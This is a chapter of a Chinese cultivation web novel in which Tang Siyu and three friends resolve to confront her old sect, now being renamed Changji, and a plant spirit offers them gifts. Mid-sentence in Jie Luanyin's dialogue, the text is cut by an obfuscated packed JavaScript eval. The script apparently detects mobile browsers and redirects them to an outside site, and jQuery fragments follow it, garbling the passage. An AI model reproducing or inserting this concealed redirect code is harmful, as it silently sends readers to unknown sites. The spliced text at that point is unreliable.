岁安其人,说得好听是单纯,说得难听就是不会看眼色。


    简而言之:缺少社会毒打。


    因此当他突然提起道霞宗时,无论是陆衔辞还是劫鸾音都绝望地闭上了眼睛。


    晚风穿堂而过,将天际的云彩都吹动了几分。白玉堂坍塌的动静很大,却并没有引来多少人围观,就连先前疯狂抢夺筹码的赌客们也都不见了人影。


    皎洁的月光缓缓投下,将唐司妤的影子照出几分孤单。


    “司妤姐……”


    “嘘——”唐司妤竖起一根手指,她指了指白玉堂的废墟,“你们听,什么动静?”


    只听得一阵“簌簌”,紧接着又变成一阵“哗啦啦”。


    四人立刻警觉起来,尚还有战斗力的陆衔辞和劫鸾音将另外两人挡在身后,掌心聚气的灵力蓄势待发。


    一个很小很小的讨饶声传来。


    “别打!我服了,我服了!”


    可这声音非但没有使劫鸾音失去戒心,反而一道灵力打向声音传来的方向,掀起了一块巨大的落石。


    静谧片刻,忽然响起一声啜泣。


    “真服了!大王,收了神通吧!”


    唐司妤耳尖微动,认出了这声音的主人。


    她拍了拍劫鸾音的肩膀,“得了,是那株嘴硬的十丈垂帘。”


    那株十丈垂帘的灵力被唐司妤吸走了大半,布下的阵法又被陆衔辞一根骨筷刺破,估计已经没什么资格嘴硬。


    唐司妤的声音落下不到两息,便看见如溪流般的花叶欢快地铺开,流淌到众人眼前。


    但却还是比它在白玉堂里放狠话时候,小了一大圈,足见灵力损耗严重。


    再不认怂,它几百年的修为很可能要散个干净。


    “……刚才说,会给我找个灵气充足的地方,还作数儿吗?”


    岁安听了它的表述,又眼馋地看着它的肥厚的叶片,搓了搓手。


    “几百年的修为,正好拿来炖汤!”他兴奋地搓了搓手,“小鸾音勘心在即,司妤也有亏空。我太素药阁有独门秘方,保证一碗汤下肚,你们俩都能顺顺利利!”


    十丈垂帘的叶片一滞,狗狗祟祟地试图把自己的身体挪回废墟底下。


    唐司妤瞥了一眼,点头附和,“那敢情好,毕竟我总不能真的回去送死?”


    三人齐齐愣住。


    他们本以为,唐司妤会借着十丈垂帘的出现转移话题,不再提回道霞宗的事情。


    陆衔辞罕见地皱眉,斟酌着用词:“其实,你也在外面这么多年……就算不回去,也没什么事。”


    前几日道霞宗传讯给唐司妤,要她七月初九之前赶回到宗门。


    宗门执戒堂将改称长老院,道霞宗也将改名为长极教。顺便还需要和她讨论一下,她首席之位的归属问题。


    三人一致认为,道霞宗此次来者不善。


    毕竟对于唐司妤来说……道霞宗实在不是什么好地方。


    百年前,道霞宗前任掌教已达破望境,是两域最有望飞升的修士之一。


    却不知何故,殒身于飞升前夜。


    次日,唐司妤出生,出生即筑基。


    道霞宗众长老大喜过望,对外宣称她是掌教转世,立刻将她内定为下一任掌教,只等她入勘心境便可继任。在她成长期间,掌教的职责由执戒堂的几位长老轮流暂代。


    有人得好处,自然就有人被压迫。


    按照惯例,掌教身殒,便应由宗门首席继任掌教。


    等了几十年的前任首席好不容易熬走了掌教,结果遇到了唐司妤这个非常规因素——并且显然,他短期内熬不走唐司妤——因而一怒之下,叛教出逃,还带走了数十名愿意追随他的弟子,另立山头。


    道霞宗威信扫地,将所有希望都寄托在唐司妤身上。却不想几十年过去,唐司妤仍然被困在筑基期,甚至结不出元婴。


    没有元婴,无法修行;无法修行,谈何飞升?


    一个只有筑基期修为的首席,实在难以服众。道霞宗一部分弟子因此离开宗门,自谋生计,另一部分弟子决定干掉唐司妤,再推举出一个厉害的首席出来。


    再加上她刚刚出生时,道霞宗给她立的“天降修为”人设……


    唐司妤瞬间成为所有人针对的对象。


    最多的时候,她一天内连遭七轮暗算。各种手段齐上阵,能活到现在真是依了那句福大命大。


    唐司妤无法,只得找了个下山历练的由头逃离宗门。


    成了两域十三州的知名废物纨绔。


    “元贞尊者已入破望境。”唐司妤知道三位好友的担忧,沉吟片刻后将消息放出,“据说她有一位弟子也已经抵达聆音境巅峰,离勘心境只一步之遥。”


    百十年后,破败的道霞宗终于又重新有了一位破望境长老。只是事关重大,还没有对外公布,只有宗门长老院内部知悉。


    “道霞宗内部的鸡零狗碎,我虽然没和你们细说过,但你们大概也都能猜到。”


    “元贞尊者虽然是我的母亲,可与我并不亲近。甚至于,因为我迟迟无法结出元婴,她曾被执戒堂的长老们联合问责,很受了一番捶楚。”


    “自那之后,她对我便更加放养,反而着重去培养她的弟子。仿佛是想借此向执戒堂证明,‘不是她不努力教我,而是我实在废物’。”


    “如果是其他人入破望境,我都不会着急回山。但元贞尊者……我不信她。”


    唐司妤并不避讳将自己的“母女亲情”的真相撕开给好友。


    “我曾经认为‘匍匐在战壕里时,泥土才是最好的伪装’,但现在情况不一样了。”


    唐司妤难得地板起脸,严肃地看着自己三位好友。


    “我要是再不站起来拍拍土,就要永远地躺下去了!”


    更何况还有一件她无法明说的事情。


    她自八百年后而来,知道八百年后将会有一位修士堕入魔道,捅破两域十三州的整片天空,成了众人谈之色变的魔头。


    灵气枯竭,修为不再。大宗门尚能断尾求生,可那些普通人却不得不备受天灾和疾病的苦难,直到前世她在同门师兄的带领下将魔头围杀后,才有所好转。


    而那位堕入魔道的修士,便是出身长极,乃是长极的首任首席弟子。


    她走遍两域,寻遍十三州,想要找到“长极”这个宗门,可却一直全无收获。直到她月前收到传信,才发现原来她苦苦寻找的长极,就是更名后的道霞宗。


    虽然不知道为什么八百年后的长极教,会将其曾用名从宗门史籍中抹去,但越是不寻常的举动越能说明问题。


    刚刚更名的道霞宗和那个首位长极首席。


    绝对!不简单!


    唐司妤向来无害的一双杏眸中写着跃跃欲试。她看向自己的三位好友,向他们伸出了手。


    陆衔辞与她对视一眼,率先回应。


    “当年你把我从铸剑阁捞出来,说出‘宗门算个球’的时候,我就知道你所求甚大。但我……愿意与你一起闯上一闯。”


    “我也愿意!”


    劫鸾音搭上唐司妤伸出的手,紧紧握住。


    “司妤姐帮我了却心结,我也愿帮司妤姐了却心结。不就是一个


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15362178|168035||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    道霞宗,大不了咱们就跑嘛!两域这么大,还能没有咱们的容身之所?”


    “等等!你们三个等等。”


    岁安惊叫出声,他捋了又捋,才终于想明白唐司妤说的到底是什么意思。


    什么“我不信她”?


    唐司妤的意思分明就是,“若元贞上位,我必死无疑”!


    可是元贞尊者不是唐司妤的亲生母亲吗?!


    或许是因为从小生长在全是仁心医者的太素药宗,岁安大多数时候都很温和安分。他喜欢坑人钱财,却绝对想不到母女反目也会刀刀见血。


    岁安惊讶地合不上嘴巴。


    他发现自己这三位好友的架势分明是要去挑了道霞宗啊!


    “没关系,你不想去就不去呗!正好咱们在庆州,你直接回太素药宗也正顺路。”


    看着他一直不说话,劫鸾音哼道。


    “我没有不想去。”岁安纠正她,“只是……只是……那可是破望境的修士!”


    “破望境怎么了!只要没飞升,就还是肉体凡胎。无非是比我们年纪大一点,修为高一点,受了重伤,死得也慢一点。”


    岁安沉吟片刻,“前两条我是无能为力。但是我保证,你们受再重的伤,也能比元贞死得慢。”


    他将手与另外三人搭在一起,看着唐司妤的眼睛,严正道。


    “打不过咱们就跑。回了太素药宗,没人能动你。”


    他直接为唐司妤提供了一个更好的后备方案。


    如果元贞尊者真的要杀她,如果道霞宗真的要驱逐她。


    那么岁安和太素药宗,就永远庇护她!


    四个人的手紧紧团握在一起,一切皆在不言中。


    “我……我……”十丈垂帘探出一条枝叶搭在四个人的手上,


    四个人的脑袋上齐刷刷地冒出一个问号,低头、皱眉、盯——


    “我有一个东西,可以交给你们。”


    十丈垂帘又一条叶片攀上了唐司妤的手腕,缠出一条好看的手链。


    “你先前,是不是用乾坤圈储藏了我的灵力,然后又用我的灵力攻击了我!”


    这话听着有点像兴师问罪,但是配上十丈垂帘弱弱的声音,反而更像是委屈撒娇。


    唐司妤唇角微抽,点头。


    “乾坤圈是一次性的法器,但是我的叶脉不是。”十丈垂帘忍痛将自己的叶片切断,还贴心地留了几个小圈,方便唐司妤在上面挂上灵石装饰。


    “我乃先天木灵!对大多数妖族都有温养之效。如果你愿意,可以去捉几只妖兽,与他们订下傀儡契,再将他们囚禁在这条手链中。你以后,就可以有用之不尽的灵力!”


    唐司妤:“……”


    她算是发现了。


    这株十丈垂帘的思维,怎么总往道德败坏的方向发散!


    十丈垂帘毫无自知之明,它甚至舞动起自己的叶片,越发起劲地把劫鸾音的大包袱拖了过来。又在其中翻了翻,翻出一个纯金打造的人偶。


    它将那个人偶举高到唐司妤的眼前,“你,摸它,摸摸。”


    唐司妤:“?”


    十丈垂帘锲而不舍举着,见唐司妤一直不动,干脆又伸出一条叶片硬生生地把她的手搭上人偶脑袋。


    刹那间,夜幕仿佛被撕开一道裂痕。流光层层揭开夜间的雾气,每一道都堪比和尚们的金钵。光滑透亮,高调闪耀。竟连月光都被逼退了下去,重新躲回了云层之后。


    唐司妤半张着嘴,看着那个金光闪耀的影子被迫放弃了今日的功德。


    “卧槽!这特么怎么是个人?!”